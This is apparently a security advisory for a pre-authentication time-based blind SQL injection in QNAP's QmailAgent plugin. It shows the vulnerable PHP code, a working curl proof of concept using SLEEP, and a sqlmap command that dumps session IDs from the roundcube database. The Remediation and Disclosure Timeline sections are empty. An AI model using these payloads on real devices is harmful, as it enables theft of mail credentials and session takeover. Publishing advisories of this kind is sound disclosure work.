QNAP QmailAgent: Pre-Auth Time-Based Blind SQL Injection

Summary

The QmailAgent plugin for QNAP QTS exposes a backup_restore task that is reachable without authentication. Its get_job action reads _job_id from request parameters and interpolates it directly into a SQL query through $this->db->escape(), which only escapes single quotes while the value is interpolated unquoted. The result is a clean time-based blind SQL injection against the roundcube database.

The roundcube DB user has full privileges over the schema, so the impact includes inbox contact addresses, IMAP and SMTP credentials (3DES-encrypted), and live session rows whose vars contain qmailhub_qts_nas_sid, a NAS_SID that may be replayable elsewhere on QTS for full session takeover, depending on session handling.

Affected Product

FieldValue
DeviceQNAP TS-453E
FirmwareQTS 5.2.7.3297
PluginQmailAgent v3.4.7.2428
VendorQNAP Systems, Inc.

CVSS v3.1: 8.6 (High) · AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N. Scope changes because the leaked session.vars rows include a qmailhub_qts_nas_sid value usable beyond QmailAgent’s own session scope.

Root Cause

QmailAgent’s backup_restore plugin registers get_job as an action callable via the plugin task router:

public function init()
{
    $this->add_texts('localization/', false);
    $this->register_task('backup_restore');
    $this->register_action('get_job', array($this, 'get_job_ajax'));
}

The handler reads _job_id from GPC and forwards it untyped:

public function get_job_ajax()
{
    $job_id = rcube_utils::get_input_value('_job_id', rcube_utils::INPUT_GPC);

    if (!$job_id) {
        $this->api_output(self::STATUS_INVALID_PARAM);
    }

    $job = $this->get_job($job_id);
    if (!$job) {
        $this->api_output(self::STATUS_JOB_NOT_EXIST);
    }
}

get_job() builds the injection sink:

public function get_job($id = null)
{
    if (!$id) {
        return false;
    }

    // db->escape() only escapes single quotes; $id is interpolated unquoted,
    // so any non-quote SQL syntax (operators, subqueries, SLEEP()) passes through.
    $where_condition = " AND B.id = {$this->db->escape($id)}";

    $query     = $this->get_jobs_sql_query($where_condition);
    $sql_result = $this->db->query($query);

    if (!$sql_result) {
        return false;
    }
    return $this->db->fetch_assoc($sql_result);
}

get_jobs_sql_query() simply substitutes that fragment:

private function get_jobs_sql_query($where_condition = '')
{
    return "SELECT A.*, B.*, Q.*, S.store_path, S.real_path"
         . " FROM backup_jobs AS B"
         . " INNER JOIN qmailhub_account AS A ON B.account_id = A.account_id"
         . " INNER JOIN qmailhub_qts AS Q ON A.qts_id = Q.qts_id"
         . " INNER JOIN qmailhub_store AS S ON B.store_id = S.store_id"
         . " WHERE B.del = 0 AND A.del = 0 {$where_condition}";
}

Because the _job_id value is not wrapped in quotes inside the WHERE clause, db->escape() has nothing to escape; single-quote escaping is irrelevant. Anything that doesn’t contain a ' reaches MariaDB unmodified, which is more than enough for AND (SELECT 1 FROM (SELECT SLEEP(N))a)-style time-based extraction.

The route itself has no authentication gate: the entire backup_restore task is callable pre-auth.

Proof of Concept

Minimal sleep PoC

NAS_IP=192.168.1.1
curl --path-as-is -i -s -k \
  -X GET \
  -H "Host: ${NAS_IP}:8080" \
  -H "X-Requested-With: XMLHttpRequest" \
  -H "User-Agent: Mozilla/5.0" \
  -H "Referer: http://${NAS_IP}:8080/qmail/?_task=mail&_mbox=INBOX" \
  -b "roundcube_sessid=ddaf0a0dbc84190b5da0d38710b2401c" \
  "http://${NAS_IP}:8080/qmail/?_task=backup_restore&_action=get_job&_job_id=1+AND+(SELECT+1+FROM+(SELECT+SLEEP(8))a)"

A measurable ~8-second response delay confirms the injection. The roundcube_sessid cookie is not required for the vulnerable endpoint; it is included only to look like a normal client.

sqlmap

Save the request as request.txt and run sqlmap directly against it:

sqlmap -r ./request.txt --dbms=MariaDB -D roundcube -T session -C sess_id --dump

Detection output:

Parameter: _job_id (GET)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: _task=backup_restore&_action=get_job&_job_id=1 AND (SELECT 4121 FROM (SELECT(SLEEP(5)))gfhS)

Impact: what’s in the database

The roundcube DB user has full privileges on the roundcube schema:

Grants for roundcube@localhost
GRANT USAGE ON *.* TO 'roundcube'@'localhost' IDENTIFIED BY PASSWORD '*F..5'
GRANT ALL PRIVILEGES ON `roundcube`.* TO 'roundcube'@'localhost'

Notable tables:

Remediation

Disclosure Timeline